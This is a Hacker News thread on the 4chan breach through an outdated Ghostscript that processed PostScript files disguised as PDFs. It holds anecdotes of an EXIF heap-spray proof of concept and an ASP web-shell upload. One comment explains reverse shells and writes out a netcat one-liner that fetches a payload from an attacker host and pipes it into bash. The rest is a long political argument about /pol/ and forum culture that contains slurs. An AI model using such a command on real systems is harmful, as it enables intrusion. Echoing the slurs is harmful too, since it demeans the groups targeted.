I did some digging and the hacker posted which exploit he used.
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.
That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post.
4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess.
Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want.
So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out.
And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup)
My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even works. If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
Forget cars, imagine if we treated government systems that millions of people's entire medical care/retirement/lives/national security/secrets/proof of existence depend upon this way? Luckily we treat those systems a little more seriously even though it costs us a little bit more/doesn't allow us to move fast and break things in that space.
This is such a common hole. One of my early hacks was a forum that allowed you to upload a pfp but didn't check it was actually an image. Just upload an ASP file which is coded to provide an explorer-like interface. Found the administrator password in a text file. It was "internet" just like that. RDP was open. This was a hosting provider for 4000+ companies. Sent them an email. No thank you for that one.
Uploading ASP as an image and having it execute server side is one thing.
But in this case, it's subtly different.
This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript).
Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result.
Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output.
That's kind of more or less what happened here.
It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler.
The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
> it's not really common knowledge that PDF is basically just a subset of postscript.
Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard...
The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different.
In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser:
> According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395
Read section 2.4 of the PDF you linked for a bit of additional information on this "bsaically".
GhostScript is a postscript interpreter which can handle PDF files by applying the relatively simple transformations described in that section of the PDF. Whether they embedded the ghostscript exploit within the PDF, or didn't, it's not particularly important for making my point.
That seems like saying "Python is basically a subset of C; just run the simple transformations Cython implements". PDF can be transformed into something a PostScript interpreter can understand in the same way Python can be transformed into something GCC can understand. That is not what "subset" means.
pretty interesting discovery if that was the hack.
do you know what the legal implications are for this?
if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply?
like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
Reminds me of how people were crashing the PSP's XMB with BMP and TIFF files twenty years ago. I was just a kid, and began "pirating" every one of my classmates' consoles (some in exchange for a small amount of money). Good times.
When the first-gen iPhone was out there was a TIFF vulnerability so bad that you could jailbreak an iPhone just by visiting a specific web site. I remember going to Best Buy and seeing all of the display phones had been jailbroken. (It was easy to tell - this was before the App Store, so having extra app icons on the home screen wasn't normal.)
This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
The `Memory Pit` exploit for the Nintendo DSi works in a similar way - it exploits a buffer overflow in the reading of image meta data by the Nintendo DSi Camera application in order to achieve arbitrary code execution.
Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.
It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.
That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.
One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.
The point is there's any number of ways to do it, each more clever than the last.
You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:
nc attacker.ip 9000 | /bin/bash
This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.
The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.
Note this a super simple demonstration of the concept.
I would also say don't run ghostscript with the same permissions as the web server, especially not if you can just hand it your PDF through stdin and take a PNG through stdout. Sandbox it as much as possible. PDF is a really complex format which means lots of opportunities for buffer overruns and the like. (Edit: Actually, reading through Arch-TK's post above, it sounds like it was much dummer than something like a buffer overrun.)
Does this vuln have a CVE number, or other details? Just curious, since from the posts explaining things this doesn't seem to be based on memory corruption.
In February 2013, with version 9.07, Ghostscript changed its license from GPLv3 to GNU AGPL.
With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision (and how many other installations of Ghostscript share this concern)?
Such a useless feature too. There was like 1 or 2 book sharing threads in sci in the last few years and 1 in arts and crafts and 99.9% of people don't even know about it and just use offsite hosts
I feel too many people conflate /pol/ with the whole website. I enjoyed browsing through sfw boards like /tg/ (tabletop media), /ck/ (cooking) and /fit/ (fitness). I had long discussions about the SW sequels on /tv/ back in 2015-19. The readership was surprisingly diverse and the anonymity lead users to provide more focused replies. With bodybuilding.com gone, the blue boards felt like the last bastion of the old internet.
For the record this is an example of the "Fencepost error" where the last item in a range gets double counted as the first item in the next range and is incredibly common in dyscalculia (the math version of dyslexia) as people will have "visual number lines" in their head that cover ranges of numbers but the ends get double counted, so there will be a 10-20 number line then a 20-30 number line.
I suspect TheJosh had something like that with the week where he visualized it with Sundays at both ends but lacked the self awareness to realize that this was not a universal representation.
Can we pause and admire the sheer contagiousness of the debate? We are now extending it to the meta-realm, discussing the possible mental states that led to one or more of the original participants adopting certain lines of reasoning...
Speaking of the meta-realm, I've always wondered how messages in forum flamewars always seemed to gravitate toward a very specific pattern:
<personal insult>
<the point>
<bait to continue flaming>
You see this pattern all over the Internet. For example, from that bodybuilding.com thread:
Are you retarded? [personal insult]
Maybe you should look at a calander, I didn't double count sunday, my two weeks started and ended on sunday, exactly 14 days. [the point]
What don't you understand? [bait to continue flaming]
Actually the brain is part of the body, so it doesn’t extend into the meta realm, the debate is still about dates and body building just with a different organ.
I'm not sure about the "fencepost error" part, but he's thinking of days as durations rather than points. It's early in the thread, about halfway down the first page:
> You don't start counting on sunday, it hasn't been a day yet, you don't start counting til monday. You can't count the day that it is, did you never take basic elementrary math?
Put in other terms, TheJosh uses "Sun - Sun" as inclusive start and exclusive end, while Justin-27 uses "Sun - Sat" as inclusive start and inclusive end.
I think TheJosh mixed things up when trying to explain it (durations vs inclusive/exclusive), so doubles down and comes up with weirder stuff later in the thread. I didn't read the whole thing though, stopped near the bottom of the first page.
Isn't thinking of day X as the range [midnight of X, X+1 midnight) isomoprhic to associating it with a point for X, at least for purposes of considering coverage (e.g. both approaches work to show that there are 7 days that cover a week).
I'm always confused when shitty men insist that saying outright misogynist things and even rape jokes is "just locker room talk", like, nope, no, our locker rooms in high school did NOT have those happen. That kind of womanizer talk would out you as immensely insecure and a braggadocios loser.
Well, the thing is that if it's Sunday you can't know if it's the Sunday at the end of the week or the Sunday at the beginning of the week. Therefore, each Sunday is in two weeks and should be counted twice, 8 + 2 = 10 days in a week. Don't feel bad, a lot of people miss this.
> In 2015, Vice News contacted mathematician Joanna Nelson for a resolution, and she said that TheJosh would have to schedule his workouts in two-week chunks, claiming a week is seven days from Monday to Sunday.
Why was a mathematician necessary for this assertion?
> I feel too many people conflate /pol/ with the whole website.
Because it is the 2nd most active category, and the racist/alt-right beliefs have spread to the other boards because the head admin fires anyone that tries to moderate it.
All of this sentiment is many years out of date. "Alt-right" hasn't been a term of self-identification for almost a decade, and hasn't been used as an identifier by pretty much anyone for at least half of that. /pol/ is not the epicentre of the radical online right and has not been for years - it's a backwater in that regard now.
The most notable radicalisation happening on /pol/ nowadays, in my opinion, is a kind of hyper-masculine third-worldist ideology that is anti-semitic in its foundation and deeply misogynistic. While those two traits might sound superficially similar to the 2015 "Alt right", this new ideology has a significant pro-Islamist tendency, and has an almost comprehensive disdain for the west and its ways of life, in favour of authoritarian regimes like like Russia, Iran, and China. Also, as is being corroborated by other online circles like the Nick Fuentes "Groyper" movement, this faction of the online far-right is an increasingly post-racial one, with more traditionally white supremacist views disappearing, to be filled in by antisemitism.
Personally, I think this cultural political shift in the imageboard represents the increased representation of developing countries online, and is an important case study in how quickly cultural foundations can shift inside the borderless land of the internet.
Anti-jewish content was there 10 years ago as well. The board is full of white supremacist posts when I checked yesterday with lots of threads complaining about non-white races. There's absolutely no indication that it has been overtaken by developing countries.
Just because they changed their name to "groyper" doesn't mean they aren't alt-right anymore.
As for support for authoritarian regimes like russia, it is obvious that they are running propaganda on the website and want to sow division in the US by encouraging fringe groups like these.
I like /pol/ and although I'm not really interested in defending it (I 100% understand why people don't like it) I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
/pol/ isn't trying to be like the millions of other politic discussion forums online. It's literally intended to be politically outrageous so when people like yourself complain that it's full of outrageous alt-right content you're typically missing the point.
It's full of things that appear to be alt-right because stuff like racism, sexism and transphobia is extremely politically incorrect. While far-left views might be equally reprehensible, these views are not seen as equally politically incorrect. It's actually quite hard to hold politically incorrect far-left views unless you incorporate some far-right views – being so pro-trans that you hate biological women or something stupid. This is why you tend to see less left-wing content there. It's hard to be offensive and left-wing.**
But even then I think it's wrong to say /pol/ is full of alt-right content to be honest. There are alt-right people there for sure, but huge amount of the political memes posted on /pol/ are mocking the alt-right and the right more broadly. The board is constantly roasting the MAGA movement, for example.
As a brit my favourite threads on /pol/ are the brit/pol/ threads which basically just post politically incorrect memes mocking Brits and joking about how shit the UK is. These threads largely just Brits shitposting with each other and it would be wrong to assume the existence of hateful anti-British content on /pol/ is somehow evidence that /pol/ is xenophobic against Brits. People should take a similar views of the racist/alt-right threads – the vast majority of people there are just trolling and being offensive for a laugh. You don't have to like the humour, but most of it is just people shit posting.
> they actively delete and ban posts that go against alt-right.
Loads of stuff gets removed... If you're posting content that "goes against the alt-right" you're probably taking the board way way to seriously and you probably should be banned.
** Interestingly another commenter in the thread asked about why there's so much interracial porn on /pol/ if it's so racist, which kinda highlights my point here. Just hating white people isn't politically incorrect – there's people doing that all over Reddit. To make hating white people offensive you basically have to incorporate racist stereotypes about about how whites are genetically inferrer to blacks in various way, but then in doing this you'll get viewed as racist and alt-right because you're using racial stereotypes about how blacks are more athletic, etc.
If you're up for it I challenge you to be politically incorrect from a left-wing perspective without it being possible to argue that it's actually far-right.
There's little doubt in my mind that for every person on websites like /pol/ that's taking the piss with subversive "be as offensive/absurd to the status quo as you can" style of humor there's at least one other person that's internalized those kinds of views as a genuine belief system.
I don't browse 4chan anymore though I did used to (a lot) years ago. Take what I say as anecdotal evidence but I used to chat with a group of people I met through a former friend that seemed to start with a similar mindset to the one you have and then went down the pipeline over a few years of unironically espousing the most absurd abhorrent kind of thoughts you'd see on /pol/ and feeling 100% justified in doing so. They had gotten so used to seeing and interacting with such content day in and day out that it became normalized for them and they started to think that such a large forum existing with people saying similar things validated the way they began to think and act.
I think my main takeaway for sites like /pol/ is that you can't really pretend to act one way for humor for extended periods of time without it rubbing off on you in one way or another and that there are too many young people out there that stumble upon places like that and adopt those views since they lack the world experience yet to have formed their own.
As confucius famously said, any community that gets its kicks out of pretending to be idiots will soon be filled with real idiots who think they are in good company.
A lot of it is ironic, but a lot less than it used to be.
> I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
I don't take the board seriously.
The posts I made that got deleted for being "off topic" were mocking the alt-right and I just wanted to get a reaction out of people rather than trying to sway anyone. I know I'm not going to convince anyone and I'm not trying to get anyone elected.
So when I see my posts get deleted or I even get banned for being "off topic" while a post on the same topic with an alt-right bent stays up with 300 replies,it's a clear indication that 4chan has a strong political bias and is absolutely not free speech anymore as most people seem to think it is.
The intent of the posters may be ironic subversion. But for those reading? There's no doubt some portion that mistake it for sincerity and are quietly being radicalised by it all. Poe's Law and all that
I think I'd argue the issue here is a lack of diversity of views because exposure to radical views is the only thing that protects me from them. Although I might not be normal in that regard.
I would accept this is a problem though. I just question whether the solution is censoring views. I guess I'll give an example...
In the UK there's a lot of people questioning why young boys today seem to often hold such radical views about women. Of course, there's the surface level explanation we're given that boys are watching people like Andrew Tate online and are becoming radicalised, but then you have to ask why boys are watching people like Andrew Tate in the first place when they could also be listening to male feminists and have gone in the opposite direction.
It seems to me the most likely explanation for this content selection bias is that boys are told lies about gender from a very early age and then on hearing become easily radicalised partial truths from people like Tate. The uncomfortable reality is that Tate is telling half-truths about the biological differences and that many of these half-truths are just denied outright by others in positions of authority. It's really no wonder they find his content interesting. It's probably the same reason someone like Jordan Peterson seemed to fill a large cultural hole a few years back. Somehow just being positive about the unique contributions and strengths of men was a radical and shocking position that people found interesting.
100% facts. The fact that mainstream folks simply cannot understand how or why boys are in such a bad spot is exactly why 4chan was popular in the first place.
interracial porn is frequently used by the alt-right racists to point out the evils of "race mixing" and to blame jews for being the producers of it. It is not an anti alt-right point at all.
Even if its posted by someone that is against the alt-right, it becomes a post to unify alt-right users.
It’s because they sexualize their fears. A lot of real fear of the BBC from scrawny white kids there.
Also why cuckolding, and other very embarrassing (for men) fetishes are popular there.
I unironically worry more about the degenerate fetishes that 4chan spreads more than the dumbass political ideologies they purport to have. Americans views of sexuality is so warped and sad because of mind viruses like this.
You can still be attracted to someone even if you think you are genetically superior. Or you can get off on interracial power dynamics. Lots of reasons.
Go look of descendants of American slaves who do DNA tests only to find out they have European ancestry.
It's interesting to note the popularity of the website, and the massive traffic it handled, despite the lack of everything we assume necessary for a modern (social media) website
- no modern web frameworks
- no microservices/kubernetes clusters
- no algorithmic curation/moderation/recommendation algoritmhs
One wonders just how much of the modern engineering developed in the past decades, that cost a fortune to develop and run is actually necessary or even beneficial for running a modern social media website
I worked for a major internet company until 2020. HN would be aghast how much "if we failed to provide this service a good chunk of the internet would either go down or sites wouldn't function properly and the stock market probably would dip" stuff runs on redundant pairs of LAMP stacks and other unsophisticated old stuff HN would turn up its nose at.
I think people also don't acknowledge how much terminology, slang and other culture originate and spread there. When it breaches into Twitter (usually through funposters) people kind of ignore the unsavoury origin and rewrite the history. The anonymous nature kind of provides that petri dish of "if it's strong culture, it'll survive or be modified."
This absolutely was the case for a long time. It was the cultural center of the internet where nearly all memes sprang from or gained traction and context before leaving orbit for the greater internet.
That has not been the case for years though. I'd say it shifted to twitter as things shifted to inseparably political on almost all of 4chan maybe 6-8 years back and then shifted away from twitter a while after elon bought it and a lot of people started to bail. and I honestly don't know where exactly it's shifted to now, but I'd have to guess tiktok and similar new platforms.
But regardless I do think 4chan has lost nearly all of it's cultural influence, but still maintains it's notoriety.
I think this was true at one point but not for the past 5-10 years. Based off of using the site I feel like now a lot of things start on other sites (particularly smaller accounts on twitter), get aggregated and popularized on 4chan, and then get picked up on other sites (often regurgitated back to twitter). Knowyourmeme shows this for a lot of things that people typically attribute as original to 4chan. There was definitely a time when a ton of stuff originated on 4chan but these days everything is so interconnected with the same people posting on twitter, reddit, and 4chan that I think 4chan gets a lot of unearned credit
Note, some of these are associated with the far right.
> fren later came to prominence on sites such as 4chan and the subreddit /r/frenworld as a dog whistle used by far-right white nationalists and fascists to refer to each other
Pepe the frog became associated with the online far right because it was a commonly used memetic avatar in general 4chan culture, and became intertwined with the space's shift to the political right in a fairly organic way. The association was boosted by (IIRC) the 2016 Clinton campaign's assertion that it was a far-right symbol, which was obviously embraced by those people as a sort of irreverent statement. Likewise, there may have been some very thin, actually existing connection between the far right and the "ok" gesture, but it really came about as an association that was imposed by the media and subsequently embraced by that community. To say these terms were "co-opted" isn't really correct.
I think there's actually a better case to be made that the pipeline of "co-option" (if you want to call it that) is stronger in the reverse direction. I posted a sister comment to yours about that.
because if you're trying to say a site was a positive influence, because it created a number of Nazi slurs and dog whistles... complete the sentence yourself
>Note, some of these are associated with the far right.
I think that should be trivially obvious based on the discussion at hand. What is interesting, though, is how so many of these terms came into public use as well-known, generic terms, despite the far right being poison to any normal person's reputation. Even many of the ones containing obviously offensive components have made it into wider use in some clipped form. Eg:
I could be wrong but I don't think 'normie' came from 'normalfag'. I'm somewhat skeptical that 'goyslop' was the first use of 'slop' in this way too. And of course 'based' comes from rapper Lil B.
Well either people thought my comment was to be taken literally, or they believe 4chan is culture and other hurting cultural gatherings like midsize live music venues were not.
I feel too many people who don't conflate /pol/ with the whole website, as well as the others, don't know why /pol/ was created.
It was eventually a replacement for the /new/ board, where news of the arab spring first started, shortly before it was shut down. However, it was plagued with proto-pol behavior before anyone was bothering to complain about pol.
There was always these 'cells' of non /jp/ shitposters, if they weren't the OG shitposters themselves, that would post about left-right politics ad nauseum, and in the most hallmark unproductive ways. It was when trolling evolved from 'clever this and that' to shear brute forcing. It was the topic of the news that attracted these unsavor political actors into that place, which was for a short period of time, a great diverse place for collecting news.
This social phenomena and history could never be repeated enough, particularly since we might be finally ending the story of pol/4chan - which was more popular than 4chan itself.
I feel too many people who conflate /pol/ with the whole website are just regurgitating information they heard from other social media sites. The most popular boards, by far, since 2020 have been the video game and vtuber boards. With Video Game generals being the most popular board for the past five years outside of the occasional political season. You can check this on 4stats.
People who still complain about /pol/ look a little like people who would still complain about ebaumsworld: Completely out of touch individuals who equate everything to a tiny phenomena.
For most of the period from 2020 to 2023, /pol/ has had more posts/day than any other board, often substantially more and it was 2nd most of the time. The /vt/ is a pretty distant 4th behind /v/.
I'm not entirely certain that I would call /pol/, which generates upwards of 110K posts/day a tiny phenomenon. It's about 13% of all 4chan posts. Add in /b/ and it's about a fifth.
That’s a silly thing to think about any site on the internet. Have you vetted every person on any site you post on? Or even this thread? If not, how do you expect a moderator to do that? This isn’t a pub, it’s a site used by tens of thousands of people.
Yes but if you go on /pol/ for an hour you are guaranteed to see nazi shit. I don't think they were saying that one nazi on the board means it's a nazi board, I think that part scales up when mapping the analogy to real life.
it is, and unfortunately from 2016 onwards it kind of outgrew the rest of the site like a tumorous growth until the whole site became markedly more neonazi and less goofy. something to do with donald trump i suspected
I've heard multiple times about a bit of lore that holds that 4chan once tried to brigade Stormfront, causing Stormfront to brigade back, and that was how the cross pollination occurred and started turning 4chan fascist.
In its earliest years /b/ started prank calling the radio show of nazi Hal Turner, then messed with Stomfront as the conflict widened. There was little activist component to this. They just thought it was funny to rile up people who took themselves very seriously.
I don't think there was any real reverse colonisation. 4chan's userbase was always whimsically racist and A Wyatt Mann cartoons were everywhere long before the conflict. moot and WT Snacks implemented some interesting word filters that I can't repeat here without my post getting hidden. Everyone was hateful, but not full of hate.
I think very little has changed in twenty years really. Feral male behaviour is just arbitrarily right-coded now, when it wasn't during the Bush era. Most of the kids screaming bix nood probably voted Obama in 08. Politics is window dressing on timeless brand of petulant contrarianism.
If you're a parent, teacher, or intelligence officer worried about a "crisis of radicalisation", the worst thing you can do is take this stuff seriously. Just call your son gay until he grows out of it.
The edgelord thing goes back way further than 4chan and Something Awful. I remember plenty of racist fascist rapist satanic misanthropist kitten smasher edgelords from the BBS days. It was not serious, though sometimes it was I hate my dad and I just got the new NiN album serious.
At some point something did change though. It was around the same time as Gamergate and it’s been written about extensively. I’ve been into edgy hacker adjacent culture since like 1992 and when the “actual not ironic” stuff landed it was immediately recognizable as something unfamiliar and different. I’m still not sure how many people got “pilled” versus how much of it was some kind of weird collision with normie spaces where people didn’t get the culture.
There was a generational shift in there too. OG hacker culture was GenX and older millennials, the people who grew up with the net pre enshittification. The /pol stuff and GG seems like younger millennials and GenZ.
I am not pretending to have a clue and I don’t think anyone truly does. It’s all a very complex soup of memes and people and influences.
I think the much more likely explanation is that 4chan always existed as a genuine counterculture (which was particularly true in the age prior to the late 2010s, when the internet was like a completely different world to real life), and reflected the rejection and inversion of certain societal mores. The rise of a far right current in 4chan exactly mirrored the kind of progressive fundamentalism that emerged in the dominant culture from around 2013. The outer zeitgeist started to abandon a 30-50-year term of post-racial thought, and immutable characteristics like race and gender started to become meaningful as tangible social capital in a kind of "official" way, as ideas like the progressive stack filtered from online circles and Occupy Wall St, through academia, into the halls of power and governments. The emerging racial consciousness of places like 4chan were a direct (and predictable) reaction to that.
The reason that places like 4chan became a far-right haven and other areas of the internet didn't has nothing to do with whether people tried to raid Stormfront in the 2000s, but is purely a matter of the firm-handedness (or lack thereof) of their respective moderation. Prior to the 2010s, many less-moderated areas of the internet had a variety of political persuasions, but from 2015 to the present day, there is a very strong correlation between the prevailing political leaning of a space and that space's ideological moderation strength.
the fash trend on /pol/ died somewhere around 2018 and has shifted significantly radleft in the years since. This is misunderstood by outsiders largely because /pol/ users don't actually hold these opinions, they just will represent whatever is the edgiest opinion at any given time.
And despite things like shooting pharma executives in broad daylight being mainstream now, /pol/lacks rightly recognize that this is still edgy upon edgy upon edgy. And thus they meme the shit out of it.
the blue boards did have some slow overlap with pol in my experience - they were more distinct before 2014 or so and by 2016 I barely recognized /tg/ culture.
I'm curious, why bodybuilding.com in particular? I think I've only heard of it once. I wonder if anyone on HN remembers stardestroyer.net or old weird tech forums?
I used to hang out at Head-Fi a lot in the early ‘00s. It’s a headphone and headphone accessories (amplifiers, DACs, etc.) forum, and people nerd out about building their own stuff. I recall writing a review on some obscure Chinese brand of sound card that people liked, because it happened to have a really good DAC for the rear output (it was a surround sound card, back when that was something interesting).
I gradually lost interest when they started heavily pushing commercial sponsors. I get it; sites aren’t free to host, and moderator time isn’t free / unlimited, but it’s still sad.
Sites are surprisingly cheap to run all things considered - I remember asking the owner of an fairly prominent aerospace enthusiast forum (one of the biggest on the internet) how much he spends on hosting - he told me he hosts on a Linux box on DigitalOcean that runs phpBB, and he spends about $50/month for the whole website - not a crazy amount even for a hobbyist.
Bodybuilding.com's misc board was essentially the same sort of raunchy teen hangout as /b/, sans the porn. It wasn't anything goes, but a lot did, and of course you were dealing with the kinds of meatheads (said lovingly) who would happen upon bb.com in the first place.
/fit/ and /mu/ were good to me in my late teens, and /ck/ is the reason I actually asked my roommate’s mom to show me cooking basics when I was in college!
The more popular blue boards were pretty bad too, let's be honest. It wasn't hard at all to find things on those boards that wouldn't be tolerated on any mainstream social media, for good reason.
I'm not looking for corporate sanitized social media site #102032. Imageboards if nothing else allow people to be people and you know what? Sure sometimes people suck, but I don't want some overvalued social media companies in America deciding what I can and can't see.
Sure I've encountered awful people on imageboards, but I've also encountered very nice, helpful people, some of which I've stayed in contact with long term.
It wasn't hard to find things no, but the narrative one often reads is that it's the mainstream consensus there to the universal opinion rather than a fringe opinion which exists and isn't banned from having.
/vg/ also had a pretty cool amateur game dev general thread (/agdg/). No one was making any hidden gems there, but it wasn't trash either. At any rate, I liked it.
Not hidden gems, no, but some of big titles originated from /agdg/, both Risk of Rain and VA-11 Hall-A started as progress posts in /agdg/ before hitting combined >1M sales.
> I feel too many people conflate /pol/ with the whole website.
That's probably why a lot of websites use moderation to avoid having one section of it turn into a cesspit of every -ism you can imagine, up to and including fascism, because once you have a section of your website that is openly coordinating the pushing of fascism on society, everyone kinda forgets about the diverse and interesting other things it might have, because of the fascism.
this might be conspirational thinking, but i don't think it's an accident that the site came out like this. yes, there's moderation, but the moderators are explicitly told to go easy on moderating racism[1]. it feels like once that kind of stuff isn't punished, it starts to snowball a change in the attitudes of the site as a whole.
that's not to say stringent moderation doesn't make a site less welcoming, though. it's about choosing what's the lesser evil to you, i guess.
> it feels like once that kind of stuff isn't punished, it starts to snowball a change in the attitudes of the site as a whole.
Considering the site has been around for over 20 years and people still call out and flame racism, I think this is an uncharitable and unfounded cynicism. I'm not sure declarative claims of 3rd order effects in a system so chaotic are capable of being accurate.
I think people, whether they know it or not, rightly realize that race is too simplistic of a way to mark people as good/bad or whatever so even in communities that would be fine with racism it's gonna catch a lot of shit for simply not being a good way to accomplish its goal.
I like that there can be wild places on the internet where people can pieces of shit. 4Chan had communist trolls, Jew-hating trolls, Zionist-trolls, pro-Christian trolls, anti-Christian pro-pagan trolls. It didn't foster any fascism in society. It was just a place where people could say mostly what they want.
That is what has saved Reddit. You cannot find society fascism coordination there because the mods are strong. If 4chan followed that model bronies might still be a thing.
It's, funny enough, identical to people who conflate all of old 4chan with /b/. The current most popular boards are video game boards and have been since Covid hit. There's a site called 4stats which charts this, and shows how the end of Trump's presidency spelled the death knell of /pol/ dominating 4chan. Which, by comparison, was four years. It's been five years since then. It's kind of like how the golden age of /b/ was a shade over three years (2004-2007) but all of old 4chan is equated to the memes made in this prehistoric era.
Piling on the "some parts of 4chan was good until it wasn't" theme: I really liked /ck/ for a while. Then there was this weird trend of just like "all food tubers are garbage" whether that was "Kenji-Cucks", or people hating on Rageusa, or what ever.
Combining that with the "post hands" request for a lot of food it was just an unpleasant community to participate it.
Weirdly trying to load the page right now I'm getting Connection timed out. Is hackernews ddosing 4chan? What a world.
It used to be a diverse place without much to tie all the boards and users together save for a shared commitment to counter-culture. Then GamerGate and Donald Trump happened. "Every board is /pol/" was one of the most frequent replies you would see for a while until all the halfway decent people left.
/g/ is where I and a lot of people learned about FOSS advocacy and now it's just gamer hardware and transphobia.
/g/ genuinely was one of the worst boards on the website, but there were a handful of lurkers who made good posts in some of the general threads. the site as a whole was still was a diverse place up until yesterday, with only a few boards being unusably bad, and it was getting increasingly better.
it's a bit sad really. zero-barrier to entry, no login gates, no accounts, and traffic was so high that it moved really fast. it was like a dive bar covered in grime. will be sad to see it go. none of the other imageboards still kicking are quite the same, most are even worse tbh.
I guess the thing that really changed is our tolerance for bad actors. As far as I'm concerned even a 99% signal-to-noise ratio is unacceptable if the 1% represents a contingent of determinedly obnoxious and hateful people, and 4chan was never anywhere close to 99% signal.
Nah, the board culture really did change in the last 7 years. In a past that's not too distant nobody was obsessed with trans folk. That's not to say there weren't vulgarities and unpleasantries, but there was definitely a substantial IQ drop somewhere around 2018 and 2019. I haven't seen the "Install Gentoo" meme in a while, the old board culture was basically replaced with cringe fringe zoomerisms.
ive always wondered, is there a way to use technology on a board style wesbite to enforce a higher quality culture? i toyed with the idea of requiring an org email similar to Blind except it could be a school email too, the hope being that after verification you are fully anon still just now with write privileges and that it would somehow lead to better quality discussions and engagements
I would say that reddit quality has declined a huge amount, but people won't leave because there's a huge network effect. Nobody will join a reddit clone that is 95% functionally the same because there's nobody there. Every community that tried to migrate off reddit to a reddit clone has failed.
As an example of why reddit is so bad now (aside from the obvious moderation issues) about 1-2 years ago, reddit added a block feature that stops you from replying to any comment the blocker made and even any comment somebody else made below them.
So pretending this is reddit, I could make this reply saying that you are wrong and then say you have no evidence for your claims. Then I could immediately block you, making it look like you have no response. You are also not allowed to edit any of your comments saying you got blocked or else it will shadow delete that comment.
I have personally witnessed this abuse 5 times in the past few months and I don't even use reddit that much.
Every community that tried to migrate off reddit to a reddit clone has failed.
r/drama spun off their own site successfully, and I know of another community that did and is thriving using a fork of r/drama's server software (won't say which to keep the normies away)
You forgot problem 4: You need to provide your VC ownership a profitable exit.
This plays off problem 3. Growth-focused social media platforms don't want to remove anything but the noisiest noise, because there's still a pair of monetizable eyeballs behind most sources of noise. In fact, if you can be particularly noisy, you generate drama, which makes the platform emotionally salient and thus stickier.
